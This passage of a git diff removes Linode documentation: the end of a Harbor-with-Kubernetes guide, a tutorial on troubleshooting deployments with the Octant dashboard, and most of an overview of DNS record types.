Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-lke-linode-kubernetes-engine) guide to install the kubectl tool on your local workstation, deploy a cluster, and download your cluster's kubeconfig. The new cluster should have a node pool with three nodes. The nodes can have minimal specifications, because they are only used to serve a small website. - - The commands in the next steps should be run from your workstation. - -1. Create a secret with kubectl. This secret allows your cluster to have an authenticated connection to your private Harbor registry. - - Replace the `--docker-server` URL with your Harbor server's URL. Replace the `--docker-password` value with the credentials for your Harbor server. - - ```command {title="Your workstation"} - kubectl create secret docker-registry harbor-registry-secret --docker-server="https://harbor.example.com" --docker-username="admin" --docker-password="Harbor12345" - ``` - -1. Create an `example-nginx-deployment.yml` file with the contents shown here. This configuration deploys the `example-nginx-image` custom image alongside a service for accessing the containers. - - This deployment uses three `replicas`. You can adjust that number to match the number of nodes in your LKE cluster on **line 18**. - - **Line 29** refers to the URL of your image on the Harbor server. Update the domain for this URL to match your Harbor server's domain. - - ```file {title="example-nginx-deployment.yml" lang="yml" hl_lines="18 29"} - apiVersion: v1 - kind: Service - metadata: - name: example-nginx-service - spec: - type: NodePort - selector: - app: example-nginx - ports: - - port: 80 - targetPort: 80 - --- - apiVersion: apps/v1 - kind: Deployment - metadata: - name: example-nginx-app - spec: - replicas: 3 - selector: - matchLabels: - app: example-nginx - template: - metadata: - labels: - app: example-nginx - spec: - containers: - - name: example-nginx-instance - image: harbor.example.com/library/example-nginx-image:1.0.0 - imagePullPolicy: Always - ports: - - containerPort: 80 - imagePullSecrets: - - name: harbor-registry-secret - ``` - -1. Apply the configuration file to your cluster: - - ```command {title="Your workstation"} - kubectl apply -f example-nginx-deployment.yml - ``` - -1. Verify that the deployment has completed successfully by listing the pods. You should see three, each with a `Running` status. - - ```command {title="Your workstation"} - kubectl get pods - ``` - - ```output - NAME READY STATUS RESTARTS AGE - example-nginx-app-646f4d5b6-8j8xc 1/1 Running 0 1m - example-nginx-app-646f4d5b6-gnlbk 1/1 Running 0 1m - example-nginx-app-646f4d5b6-pdr24 1/1 Running 0 1m - ``` - -1. Check to see that the deployed application is performing as expected. The custom Docker image serves a static web page, so you can visit the web page to see that it is working. - - You can use kubectl to forward port `80` from within the cluster. Forward this traffic to port `8001` on your local workstation: - - ```command {title="Your workstation"} - kubectl port-forward service/example-nginx-service 8001:80 - ``` - - Navigate to `localhost:8001` in a web browser to see the deployed application. - -## Conclusion - -You now have an operational Harbor registry. You have also authenticated your Docker CLI and a Kubernetes cluster with the registry. Between these tools, you have all you need to start managing a full registry and including it into your infrastructure. - -To learn more about managing your Harbor registry and about the configuration features, be sure to refer to the Harbor documentation linked below. The Harbor dashboard gives you extensive control of access policies and roles, vulnerability scanning, and other features to secure your registry. diff --git a/docs/guides/kubernetes/using-octant-with-kubernetes-a-tutorial/index.md b/docs/guides/kubernetes/using-octant-with-kubernetes-a-tutorial/index.md deleted file mode 100644 index 06a2a17ce36..00000000000 --- a/docs/guides/kubernetes/using-octant-with-kubernetes-a-tutorial/index.md +++ /dev/null @@ -1,325 +0,0 @@ ---- -slug: using-octant-with-kubernetes-a-tutorial -title: "A Overview of Using Octant with Kubernetes" -title_meta: "How to Use Octant with Kubernetes (A Tutorial)" -description: "Octant is a visual web-based dashboard for Kubernetes clusters. This guide explores Octant's interface and how it makes troubleshooting Kubernetes easier." -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-11-06 -keywords: ['octant','kubernetes','cluster','graph','dashboard','troubleshoot'] -tags: ["monitoring","kubernetes","web application"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: using-octant-with-kube.jpg -external_resources: -- '[Octant](https://octant.dev/)' -- '[Octant on GitHub](https://github.com/vmware-tanzu/octant)' -- '[Octant on Twitter](https://twitter.com/projectoctant)' -aliases: ['/applications/containers/kubernetes/using-octant-with-kubernetes-a-tutorial/','/kubernetes/using-octant-with-kubernetes-a-tutorial/'] ---- - -## What is Octant? - -Octant is a web application that talks to your Kubernetes clusters and provides an easy-to-read dashboard for the objects in your clusters. A marquee feature of Octant is its ability to show your objects and their relations in a graph format: - -![Octant Resource Viewer Graph Example](octant-resource-viewer-graph-intro-example.png) - -Octant aims to be developer-centric. It is designed to help application developers (who may not be familiar with Kubernetes) better understand how their applications are deployed and troubleshoot issues when they arise. - -### In This Guide - -This guide will explore a few ways to use Octant with some example software deployments: - -- You'll see how to [navigate Octant's main interfaces](#navigating-the-interface) after a Helm chart has been installed on a cluster. - -- A [troubleshooting thought experiment](#troubleshooting-with-octant) will show how Octant can make discovering issues in your cluster easier. - -{{< note >}} -This guide assumes familiarity with the Kubernetes concepts outlined in Linode's [Beginner's Guide to Kubernetes](/cloud/guides/beginners-guide-to-kubernetes/). If you have never set up a Kubernetes cluster before, it's also recommended that you do so to get the most out of this guide. The [How to Deploy Kubernetes on Linode with the k8s-alpha CLI](/cloud/guides/how-to-deploy-kubernetes-on-linode-with-k8s-alpha-cli/) guide describes a one-line command for generating a cluster. -{{< /note >}} - -## Before you Begin - -The examples in this guide have been tested on a cluster running with Linode with Linode's [CCM](/cloud/guides/kubernetes-reference/#linode-cloud-controller-manager) and [CSI](/cloud/guides/kubernetes-reference/#container-storage-interface) plugins installed. If you would like to install these examples as well, a cluster made with [k8s-alpha CLI](/cloud/guides/how-to-deploy-kubernetes-on-linode-with-k8s-alpha-cli/) will meet these criteria. - -{{< note type="alert" >}} -These examples will create billable services. To stop billing for these services after reading the guide, be sure to read the tear-down instructions at the end of each section. If you created a new cluster for this guide, you can remove the cluster's Nodes from the [Linode Cloud Manager](https://cloud.linode.com). - -If you remove the resources afterward, you will only be billed for the hour(s) that the resources were present on your account. Consult the [Billing and Payments](https://techdocs.akamai.com/cloud-computing/docs/understanding-how-billing-works) guide for detailed information about how hourly billing works. [Linode's pricing page](https://www.linode.com/pricing/) lists the rate for each Linode service. -{{< /note >}} - -## Installing Octant - -Octant does not run in your cluster. Instead, it connects to your cluster remotely and observes activity within the cluster. It also does not require special privileges to run--Octant will use the same context information that you use for kubectl. This also means that users with restricted access to a cluster can run Octant; Octant will just display the objects that are visible to that user. - -Octant can be run as a local server process on your workstation. To install and run it: - -1. Install from a package available on your operating system: - - - **Linux**: download a `.deb` or `.rpm` from the [releases page](https://github.com/vmware-tanzu/octant/releases) on GitHub, then install it with `dpkg -i` or `rpm -i`. For example: - - ```command - wget https://github.com/vmware-tanzu/octant/releases/download/v0.9.1/octant_0.9.1_Linux-64bit.deb - dpkg -i octant_0.9.1_Linux-64bit.deb - `` - - - **macOS**, with Homebrew: - - ```command - brew install octant - ``` - - - **Windows**, with Chocolatey: - - ```command - choco install octant - ``` - - {{< note >}} - Alternative installation instructions are available in the project's [README](https://github.com/vmware-tanzu/octant#installation) on GitHub. - {{< /note >}} - -1. Then, start the server. In your terminal, run: - - ```command - octant - ``` - -1. If it starts successfully, you should see a message similar to: - - ```output - ... - - Dashboard is available at http://127.0.0.1:7777 - ``` - - {{< note >}} - If it does not start successfully, check that you can connect to your cluster with kubectl. For example, try running: - - ```command - kubectl get pods - ``` - {{< /note >}} - -1. The dashboard may load automatically in your browser, or you can load the dashboard address (e.g. `http://127.0.0.1:7777`) in your browser if it does not. You should see the Octant dashboard. - -## Navigating the Interface - -The interfaces that Octant provides are meant to be a complement, and not a replacement, for kubectl. When using Octant, you may find that you sometimes need to return to kubectl to perform certain actions. Still, the Octant dashboard will serve as a helpful overview when inspecting your cluster. - -{{< note >}} -The cluster objects visible in the following screenshots were created by installing the [Helm chart](https://github.com/helm/charts/tree/master/stable/ghost) for the [Ghost](https://ghost.org) blogging software. The [How to Install Apps on Kubernetes with Helm 2](/cloud/guides/how-to-install-apps-on-kubernetes-with-helm-2/) guide outlines how to install this software. Please note that this guide uses Helm 2 and not Helm 3 to install the software. -{{< /note >}} - -- When first viewing the dashboard, a list of all of your cluster objects will be shown: - - ![Octant Cluster Overview](octant-cluster-overview.png) - - The left navigation will display a hierarchy of the objects that can be viewed, and the right column will display your objects. In the right corner of the top navigation, you can quickly switch between your workstation's cluster contexts. The top navigation also allows you to change between cluster namespaces, and to filter your objects by label. - -- Consider the Services item in the left navigation. When clicked on, only your Services will appear in a table to the right: - - ![Octant Services View](octant-services.png) - -- Important attributes of your Services will be listed in the columns of this table. In particular, the labels are buttons which can be clicked on: - - ![Octant Services View - Labels Highlighted](octant-services-labels-highlighted.png) - - If you click on the **release:my-blog** button, all Services without this label will be hidden: - - ![Octant Services View - release:my-blog](octant-services-release-my-blog.png) - - This view shows that the Ghost Helm chart set up two Services: one for the Ghost front-end, and one for its database. - - {{< note >}} - Multiple labels can be selected at the same time. - {{< /note >}} - -- This filter will persist across all other views. For example, if you navigate to the Pods view, only Pods with the `release:my-blog` label will be shown. To clear your filters, click the **clear filters** link under the filter dropdown in the top navigation: - - ![Octant Filter Menu - Clear Filters](octant-clear-filters.png) - -### Inspecting an Object - -Clicking on an object will show more detail for that object, including the visual graph view for that object's relationships. - -- For example, the detail view for the Ghost front-end service shows a summary with **Configuration**, **Status**, **Metadata**, **Endpoints**, and **Events** panels: - - ![Octant Service Detail View - Ghost front-end](octant-service-my-blog-ghost-summary.png) - - - The **Configuration** panel makes it easy to see which selector the Service uses to identify your Pods. This can also be directly edited (via the **Edit** link in the panel). Octant's development roadmap includes adding more direct-editing features like this. - - - The **Status** panel shows the external IP address for the Service, because it was implemented with type `LoadBalancer`. If you view this IP in your browser, you will see the Ghost blog. - - - The **Endpoints** tab shows the Service's Pods. - - - The **Events** tab shows the history of events for the Service. This information can be useful when troubleshooting. - - {{< note >}} - Other panels will appear for different object types. For example, Pods will show container environment variables, Volume mounts, node resources requests and limits, and taints, among other information. - {{< /note >}} - -- The **Resource Viewer** tab will reveal the object relationship graph for this Service: - - ![Octant Service Detail View - Ghost front-end](octant-service-my-blog-ghost-resource-viewer.png) - - This view will display color-coded cells for each object, indicating the object's status. The presence or absence of objects in this graph can be helpful when troubleshooting. For example, if a Service's graph does not show connections to a Pod, then the Service may not be configured to use the right Pod selector. - -- The third **YAML** tab shows the YAML representation for the object. - - {{< note >}} - The detail view for Pods will also show a fourth **Logs** tab,which will follow and display the logs for a Pod in real-time: - - ![Octant Pod Detail View - Ghost front-end logs](octant-pod-my-blog-ghost-logs.png) - {{< /note >}} - -### Navigation Example Tear-Down - -To delete the objects created by the Helm chart used in this section, run: - -```command -helm delete -``` - -The Helm release name for can be determined by running: - -```command -helm ls -``` - -## Troubleshooting with Octant - -To get a better sense of how Octant can assist with troubleshooting software deployments on Kubernetes, consider this scenario: - -Your colleague Nathan is learning Kubernetes, and he's deploying a "Hello World" Node.js application as a way of testing his knowledge. You offer to install the application on your cluster to follow along with his work. - -### Install the Node.js Application - -1. Nathan has uploaded a Docker image for the application to Docker Hub under the name `linodedocs/kubernetes_using-octant-with-kubernetes-a-tutorial_hello-world:v1`. He also tells you that the Kubernetes manifest for the application is hosted here: [release-1.0.yaml](release-1.0.yaml). Download the file and apply it to your cluster with kubectl: - - ```command - kubectl apply -f release-1.0.yaml - ``` - - Your terminal should respond with: - - ```output - service/hello-world-service created - deployment.apps/hello-world-deployment created - ``` - - {{< note >}} - The Dockerfile and other files used to create the Docker Hub image are located [here](hello-world-node-js-1.tar.gz). Inspecting these files is not necessary for the tutorial. - {{< /note >}} - -1. To learn about how the application is structured on your cluster, you view it in Octant. When visiting the Services tab, you find the new `hello-world-service` object: - - ![Octant Services - Hello World with External IP Highlighted](octant-services-table-with-hello-world-1_0.png) - -1. The external IP address for the Service will also be shown in the new table entry (highlighted above). Visiting this address in your browser will return the "Hello World" message as expected. - -1. If you click on the `hello-world-service` Service and then navigate to the **Resource Viewer** tab, the relationships for it will be shown. If you click on the Pods cell, a right-hand navigation will appear. The panel in this navigation will show three green dots: - - ![Octant Service Resource Viewer - Hello World 1.0](octant-service-hello-world-1_0-resource-viewer.png) - - The three green dots indicate that three Pods were created that match the selector for the Service. Clicking on each will navigate to that Pod's detail view. - -### Update the Node.js Application - -1. Nathan tells you that he has updated the application to return "Hello Octant" instead of "Hello World", and he notes that the new Docker Hub image is named `linodedocs/kubernetes_using-octant-with-kubernetes-a-tutorial_hello-world:v2`. The new Kubernetes manifest is here: [release-2.0.yaml](release-2.0.yaml). Download the manifest and apply it to your cluster with kubectl: - - ```command - kubectl apply -f release-2.0.yaml - ``` - - Your terminal should respond with: - - ```output - service/hello-world-service unchanged - deployment.apps/hello-world-deployment configured - ``` - - {{< note >}} - The Dockerfile and other files used to create the Docker Hub image are located [here](hello-world-node-js-2.tar.gz). Inspecting these files is not necessary for the tutorial. - {{< /note >}} - -1. If you visit the external IP for the application in your browser again, it will still display the same "Hello World" message. If you return to the Resource Viewer graph for the `hello-world-service` Service in Octant, you'll see that it has been updated: - - ![Octant Service Resource Viewer - Hello World 2.0](octant-service-hello-world-2_0-resource-viewer.png) - -1. The Deployment has created a new ReplicaSet to run the updated application under. The orange color for the Deployment, ReplicaSet, and Pods indicates an issue with the update that will need further investigating. - - {{< note >}} - The Deployment keeps the older ReplicaSet and Pods running in place until the new ReplicaSet is healthy. - {{< /note >}} - -1. To investigate why the new Pod is unhealthy, click on the orange Pod cell in the graph, and then click on the orange dot in the right-hand panel that appears (highlighted above). - -1. The detail view for the Pod will appear. Scroll down to the **Events** table at the bottom. A `Failed to pull image "linodedocs/kubernetes_using-octant-with-kubernetes-a-tutorial_hello-world:v2a"` message should appear in the table: - - ![Octant Pod Events - Hello World 2.0](octant-pod-hello-world-2_0-events.png) - -1. The name for the Pod's image has a typo and should be corrected. On your workstation, open the release-2.0.yaml manifest and update **line 32** so that it refers to `linodedocs/kubernetes_using-octant-with-kubernetes-a-tutorial_hello-world:v2` instead of `linodedocs/kubernetes_using-octant-with-kubernetes-a-tutorial_hello-world:v2a`. Save the file, then apply the change to your cluster: - - ```command - kubectl apply -f release-2.0.yaml - ``` - -1. If you visit the external IP for the application in your browser again, it will still display the same "Hello World" message. If you return to the Resource Viewer graph for the `hello-world-service` Service in Octant, you'll see that it has been updated again: - - ![Octant Service Resource Viewer - Hello World 2.0 (after manifest update)](octant-service-hello-world-2_0-resource-viewer-after-manifest-update.png) - -1. The new Pod is no longer colored orange, but the ReplicaSet still is, indicating that other problems also need to be fixed. Click on the orange ReplicaSet cell in the graph, and then click on the title of the right-hand panel that appears (highlighted above). - -1. The detail view for the ReplicaSet will appear. The Pods panel on this page will show that the Pod has restarted several times: - - ![Octant ReplicaSet Pods - Hello World 2.0](octant-replicaset-hello-world-2_0-pods.png) - -1. Clicking on the Pod's name in this panel will take you to the detail view for it. This **Events** panel in this view will show the recent restarts. A good next step would be to investigate the logs for the Pod, but you may find that the **Logs** tab shows no content. In this case, it's worth switching out to kubectl to try and get logs from previous restarts: - - ```command - kubectl logs hello-world-deployment-7b69c98754-f4zk5 --previous=true - ``` - - {{< note >}} - Replace the Pod name above with the name of yours. - {{< /note >}} - - ```output - /usr/src/app/server.js:7 - res.send('Hello Octant); - ^^^^^^^^^^^^^^^ - - SyntaxError: Invalid or unexpected token - at Module._compile (internal/modules/cjs/loader.js:723:23) - at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10) - at Module.load (internal/modules/cjs/loader.js:653:32) - at tryModuleLoad (internal/modules/cjs/loader.js:593:12) - at Function.Module._load (internal/modules/cjs/loader.js:585:3) - at Function.Module.runMain (internal/modules/cjs/loader.js:831:12) - at startup (internal/bootstrap/node.js:283:19) - at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3) - ``` - -1. Nathan's code contains the missing quote syntax error reported in these logs, and you let him know what should be fixed. He responds that he's uploaded a `linodedocs/kubernetes_using-octant-with-kubernetes-a-tutorial_hello-world:v3` image to Docker Hub and tells you to apply his updated manifest here: [release-3.0.yaml](release-3.0.yaml). Download the file and apply it to your cluster with kubectl: - - ```command - kubectl apply -f release-3.0.yaml - ``` - - {{< note >}} - The Dockerfile and other files used to create the Docker Hub image are located [here](hello-world-node-js-3.tar.gz). Inspecting these files is not necessary for the tutorial. - {{< /note >}} - -1. If you return to the external IP for the application in your browser, it should now display "Hello Octant". The cells in Octant's Resource Viewer graph should all be colored green as well. - -### Troubleshooting Example Tear-Down - -To delete the objects created by the troubleshooting example, run: - -```command -kubectl delete -f release-3.0.yaml -``` - -## Next Steps - -Octant also provides a robust plugin functionality. Plugins help Octant track cluster resources that are not part of Octant's core codebase, and Octant can show content from a plugin in-line in your dashboard alongside other standard interface elements. Review [Octant's documentation](https://octant.dev/docs/master/plugins/) for more information on plugins. \ No newline at end of file diff --git a/docs/guides/networking/dns/dns-overview/index.md b/docs/guides/networking/dns/dns-overview/index.md deleted file mode 100644 index e86117de3a9..00000000000 --- a/docs/guides/networking/dns/dns-overview/index.md +++ /dev/null @@ -1,258 +0,0 @@ ---- -slug: dns-overview -title: "Overview of DNS and DNS Records" -description: 'Learn about DNS records and system structure.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2009-07-29 -modified: 2022-10-03 -keywords: ["dns", "record", "domain", "resolution"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/networking/dns/dns-records-an-introduction/','/networking/dns/introduction-to-dns-records/','/dns-guides/introduction-to-dns-records/','/dns-guides/introduction-to-dns/','/guides/dns-records-an-introduction/'] -tags: ["dns","networking"] -image: dns-records-an-introduction.png ---- - -The [Domain Name System](https://en.wikipedia.org/wiki/Domain_Name_System) (DNS) is the Internet's address book. DNS directs web traffic to your Linode and email to your inbox by mapping memorable domain names like `example.com` to IP addresses like `192.0.2.8` or `0123:4567:89ab:cdef:0123:4567:89ab:cdef`. This guide introduces basic DNS concepts and the different types of DNS records. - -## How DNS Works - -Before adding any DNS records, you should learn the basics of DNS. - -### Domain Names - -Domain names are best understood by reading from right to left. The broadest domain classification is on the right, and becomes more specific as you move to the left. In the examples below, the top-level domain, or *TLD*, is *.com*. - - example.com - mail.hello.example.com - -Every term to the left of the TLD is separated by a period and considered a more specific subdomain, although first-level subdomains plus their TLDs (*example.com*) are conventionally referred to as domains. Moving to the left, *hello* and *mail* are the second- and third-level subdomains, respectively. Subdomains are typically used to uniquely identify specific machines or services, but this is left up to the domain owner. - -### Name Servers - -Choosing and specifying *name servers* is an essential part of domain ownership. If you don't, connecting client devices won't know where to find your DNS information so your domain won't resolve. Name servers host a domain's DNS information in a text file called a *zone file*. They're are also known as Start of Authority (SOA) records. You can host your DNS information on name servers in one of several locations: - -- Linode (recommended) -- Your domain registrar -- Your own DNS server -- Third-party DNS hosting - -Using Linode's free name servers is the easiest approach, because Linode provides a default zone file with all the right IP addresses for your website and email. Linode's name servers will work well for both basic and advanced setups. However, you can also look into the options offered by your registrar and third-party DNS hosts, or host your own DNS if you want control over as much of the DNS process as possible. - -You'll need to specify name servers on your domain registrar's website. They'll take care of publishing that information to the higher-level name servers and you should specify at least two name servers. That way, if one of them is down, the next one can continue to serve your DNS information. - -### DNS Records and Zone Files - -The next aspect of DNS management is specifying DNS records, which match domain names to IP addresses. The DNS records are then automatically bundled up into a zone file, which is what allows connecting devices to look up the correct IP address for your domain. If you decide to use Linode's name servers, our DNS Manager will help you create a default zone file. It contains records similar to the following: -{{< note >}} -You can also use trailing dots in domain names (for example, `example.com.`), which will make the name fully-qualified. -{{< /note >}} - - ; example.com [448369] - $TTL 86400 - @ IN SOA ns1.linode.com. admin.example.com. 2013062147 14400 14400 1209600 86400 - @ NS ns1.linode.com. - @ NS ns2.linode.com. - @ NS ns3.linode.com. - @ NS ns4.linode.com. - @ NS ns5.linode.com. - @ MX 10 mail.example.com. - @ A 12.34.56.78 - mail A 12.34.56.78 - www A 12.34.56.78 - -Every domain's zone file contains the domain administrator's email address, the name servers, and the DNS records. Of course, you are not limited to these default entries. You can create a variety of DNS records for as many different subdomains as you wish. To learn how to add individual DNS records using the DNS Manager, read the Linode [DNS Manager Overview article](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide. - -### DNS Resolution - -So how does DNS actually work? First, the domain name needs to get translated into your Linode's IP address. DNS matches human-friendly domain names like *example.com* to computer-friendly IP addresses like *192.0.2.8*. This happens in a special text file called a *zone file*, which lists domains and their corresponding IP addresses (and a [few other things](https://en.wikipedia.org/wiki/Zone_file)). A zone file is like a phone book that matches names with street addresses. - -Here's how the DNS lookup process works: - -1. You type a domain name like *example.com* into your browser's address bar. -2. Your computer is connected to the internet through an internet service provider (ISP). Your ISP's *DNS resolver* queries a *root nameserver* for the proper TLD nameserver. In other words, it asks the root nameserver, *Where can I find the nameserver for *.com* domains?* -3. The root nameserver responds with the IP address for the *.com* nameserver. -4. The ISP's DNS resolver uses the IP address it got from the root nameserver to ask the *.com* nameserver, *Where can I find the nameserver for *example.com?* -5. The *.com* nameserver responds with the IP address for the *example.com* nameserver. -6. The ISP's DNS resolver reads the zone file from your domain's nameserver. -7. The zone file shows which IP address goes with the domain. -8. Now that the ISP has the IP address for *example.com*, it (in short) returns this to your browser which then accesses the site's web server. - - ![The steps for DNS resolution, also displayed below.](1330-dnsoverview.jpg) - -The scenario described above is what happens if the ISP has no current information about the requested domain. In actuality, ISPs cache a lot of DNS information after they've looked it up the first time. This results in faster lookups and less strain on DNS servers. - -Usually caching is a good thing, but it can be a problem if you've recently made a change to your DNS information, like when you move to Linode from a different hosting provider. In such a case, you'll want to pay attention to your zone file's time to live (TTL) so that your DNS change happens as quickly as possible. - -## Types of DNS Records - -### A and AAAA - -An *A record* points your domain or subdomain to your Linode's IP address, which allows web traffic to reach your Linode. This is the core function of DNS. A typical A record looks like either of the following: - - example.com A 12.34.56.78 - - hello.example.com A 12.34.56.78 - -You can point different subdomains to different IP addresses. If you want to point every subdomain of *example.com* to your Linode's IP, you can use an asterisk (**\***) as your subdomain: - - *.example.com A 12.34.56.78 - -An *AAAA record* is just like an A record, but for IPv6 IP addresses. A typical AAAA record looks like the following: - - example.com AAAA 0123:4567:89ab:cdef:0123:4567:89ab:cdef - -### AXFR - -An *AXFR record* is a type of DNS record used for DNS replication, although there are more modern ways to do DNS replication. AXFR records are not used in ordinary zone files. Rather, they are used on a slave DNS server to replicate the zone file from a master DNS server. - -For an example of how to configure Linode's nameservers as slave DNS servers using AXFR, see our [guide on configuring DNS in cPanel](/cloud/guides/set-up-dns-services-on-cpanel/#using-linodes-dns-manager-as-a-secondary-server). - -### CAA - -DNS Certification Authority Authorization uses DNS to allow the holder of a domain to specify which certificate authorities are allowed to issue certificates for that domain. See our [Add CAA Records in the Linode Cloud Manager](https://techdocs.akamai.com/cloud-computing/docs/caa-records) guide for a configuration walkthrough. - -### CNAME - -A *CNAME record* or *Canonical Name record* matches a domain or subdomain to a different domain. With a CNAME record, DNS lookups use the target domain's DNS resolution as the alias's resolution. Here's an example: - - alias.com CNAME example.com. - example.com A 12.34.56.78 - -With this setup, when `alias.com` is requested, the initial DNS lookup will find the CNAME entry with the target of `example.com`. A new DNS lookup will be started for `example.com`, which will find the IP address *12.34.56.78*. Finally, visitors to `alias.com` will be directed to `12.34.56.78`. - -CNAME records exist so that domains can have aliases. Some mail servers handle mail oddly for domains with CNAME records, so you should not use a CNAME record for a domain that gets email. Likewise, MX records cannot reference CNAME-defined hostnames. The target domain for a CNAME record should also have a normal A-record resolution. Chaining or looping CNAME records is not recommended. - -{{< note >}} -In some cases, a CNAME record can be an effective way to redirect traffic from one domain to another while keeping the same URL. However, keep in mind that a CNAME record does not function the same way as a URL redirect. A CNAME record directs web traffic for a particular domain to the target domain's IP address. Once the visitor reaches that IP address, the web server's configuration will determine how the domain is handled. If that domain is not configured on the server, the server will simply display its default web page (if any). This may or may not be the web page for the target domain in the CNAME record, depending on how the server is configured. -{{< /note >}} - -### DKIM - -A *DKIM record* or *DomainKeys Identified Mail record* displays the public key for authenticating messages that have been signed with the DKIM protocol. This practice increases the capability to check mail authenticity. A typical DKIM record looks like the following: - - selector1._domainkey.example.com TXT k=rsa;p=J8eTBu224i086iK - -DKIM records are implemented as text records. The record must be created for a subdomain, which has a unique selector for that key, then a period (**.**), and then `_domainkey.example.com`. The type is TXT, and the value includes the type of key, followed by the actual key. - -### MX - -An *MX record* or *mail exchanger record* sets the mail delivery destination for a domain or subdomain. A typical MX record looks like the following: - - example.com MX 10 mail.example.com. - mail.example.com A 12.34.56.78 - -The above records direct mail for *example.com* to the *mail.example.com* server. The target domain (`mail.example.com` above) needs to have its own A record that resolves to your Linode. An MX record should ideally point to a domain that is also the [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) for its server. - -Your MX records don't necessarily have to point to your Linode. If you're using a third-party mail service like [Google Workspace](/cloud/guides/using-google-workspace-for-email/), you should use the MX records they provide. - -*Priority* is another component of MX records. This is the number written between the record type and the target server (10 in the example above). Priority allows you to designate a fallback server (or servers) for mail for a particular domain. Lower numbers have a higher priority. Here's an example of a domain that has two fallback mail servers: - - example.com MX 10 mail_1.example.com - example.com MX 20 mail_2.example.com - example.com MX 30 mail_3.example.com - -In this example, if `mail_1.example.com` is down, mail will be delivered to `mail_2.example.com`. If `mail_2.example.com` is also down, mail will be delivered to `mail_3.example.com`. - -{{< note >}} -If you do not intend to accept any email through your domain, you can add a **Null MX** record, which is simply a specially formatted MX record. This is preferable to not adding any MX records, which causes the sender to still perform email delivery attempts on any A or AAAA records for that domain. A Null MX record tells the sending mail server to stop all delivery attempts, freeing up resources and allowing the sender to resolve any issues with the email address faster. - -The instructions for creating a Null MX record vary by DNS provider. For Linode's DNS Manager, the *Subdomain* (name) field should be blank, the *Preference* (priority) field should be 0, and the *Mail Server* field should be blank. This prevents you from creating any other MX records for the domain. -{{< /note >}} - -### NS - -*NS records* or *name server records* set the nameservers for a domain or subdomain. The primary nameserver records for your domain are set both at your registrar and in your zone file. Typical nameserver records (you need at least two) look like this: - - example.com NS ns1.linode.com. - example.com NS ns2.linode.com. - example.com NS ns3.linode.com. - example.com NS ns4.linode.com. - example.com NS ns5.linode.com. - -The nameservers you designate at your registrar then carry the zone file for your domain. - -You can also set up different nameservers for any of your subdomains. Subdomain NS records get configured in your primary domain's zone file. For example, if you're using Linode's nameservers, you could configure separate NS records in your Linode zone file for the subdomain `mail.example.com` as shown below: - - mail.example.com NS ns1.nameserver.com - mail.example.com NS ns2.nameserver.com - -Primary nameservers get configured at your registrar and secondary subdomain nameservers get configured in the primary domain's zone file. The order of NS records does not matter. DNS requests are sent randomly to the different servers, and if one host fails to respond, another one will be queried. - -### PTR - -A *PTR record* or *pointer record* matches up an IP address to a domain or subdomain, allowing reverse DNS queries to function. It performs the opposite service an A record does, in that it allows you to look up the domain associated with a particular IP address, instead of vice versa. - -PTR records are usually set with your hosting provider. They are not part of your domain's zone file. This means that you'll always set reverse DNS for your Linodes in the Linode Manager, even if your nameservers are elsewhere. Likewise, if you have servers somewhere else but are using Linode's nameservers, you will still have to set up your PTR records with your hosting provider. - -As a prerequisite for adding a PTR record, you need to create a valid, live A or AAAA record that points the desired domain to that IP. If you want an IPv4 PTR record, point the domain or subdomain to your Linode's IPv4 address. If you want an IPv6 PTR record, point the domain to your Linode's IPv6 address. Beyond that, IPv4 and IPv6 PTR records work the same way. - -For instructions on setting up reverse DNS on your Linode, see our [Reverse DNS](https://techdocs.akamai.com/cloud-computing/docs/configure-rdns-reverse-dns-on-a-compute-instance#setting-reverse-dns) guide. - -{{< note >}} -It's possible to have different IPs (including both IPv4 and IPv6 addresses) that have the same domain set for reverse DNS. To do this, you will have to configure multiple A or AAAA records for that domain that point to the various IPs. -{{< /note >}} - -### SOA - -An *SOA record* or *Start of Authority record* labels a zone file with the name of the host where it was originally created. Next, it lists the contact email address for the person responsible for the domain. There are also various numbers, which we'll get into in detail in a moment. First, here's a typical SOA record: - - @ IN SOA ns1.linode.com. admin.example.com. 2013062147 14400 14400 1209600 86400 -{{< note >}} -The administrative email address is written with a period (**.**) instead of an **@** symbol. -{{< /note >}} - -Here's what the numbers mean: - -- **Serial number**: The revision number for this domain's zone file. It changes when the file gets updated. -- **Refresh time**: The amount of time (in seconds) a secondary DNS server will keep the zone file before it checks for changes. -- **Retry time**: The amount of time a secondary DNS server will wait before retrying a failed zone file transfer. -- **Expire time**: The amount of time a secondary DNS server will wait before expiring its current zone file copy if it cannot update itself. -- **Minimum TTL**: The minimum amount of time other servers should keep data cached from this zone file. - -The single nameserver mentioned in the SOA record is considered the primary master for the purposes of Dynamic DNS and is the server where zone file changes get made before they are propagated to all other nameservers. - -### SPF - -An *SPF record* or *Sender Policy Framework record* lists the designated mail servers for a domain or subdomain. It helps establish the legitimacy of your mail server and reduces the chances of spoofing, which occurs when someone fakes the headers on an email to make it look like it's coming from your domain, even though it did not. Spammers sometimes try to do this to get around filters. - -An SPF record for your domain tells other receiving mail servers which outgoing server(s) are valid sources of email so they can reject spoofed mail from your domain that has originated from unauthorized servers. A very basic SPF record looks like the following: - - example.com TXT "v=spf1 a ~all" -{{< note >}} -When applying TXT records using the [Linode DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager), quotation marks `"` should not be applied in the example above. -{{< /note >}} - -In your SPF record, you should list all the mail servers from which you send mail, and then exclude all the others. Your SPF record will have a domain or subdomain, type (which is TXT, or SPF if your name server supports it), and text (which starts with "v=spf1" and contains the SPF record settings). - -If your Linode is the only mail server you use, you should be able to use the example record above. With this SPF record, the receiving server will check the IP addresses of both the sending server and the IP address of example.com. If the IPs match, the check passes. If not, the check will soft fail (i.e., the message will be marked but will not automatically be rejected for failing the SPF check). - -{{< note >}} -Make sure your SPF records are not too strict. If you accidentally exclude a legitimate mail server, its messages could get marked as spam. We recommend visiting [dmarcanalyzer.com](https://www.dmarcanalyzer.com/spf/how-to-create-an-spf-txt-record/) to learn how SPF records work and how to construct one that works for your setup -{{< /note >}} - -### SRV - -An *SRV 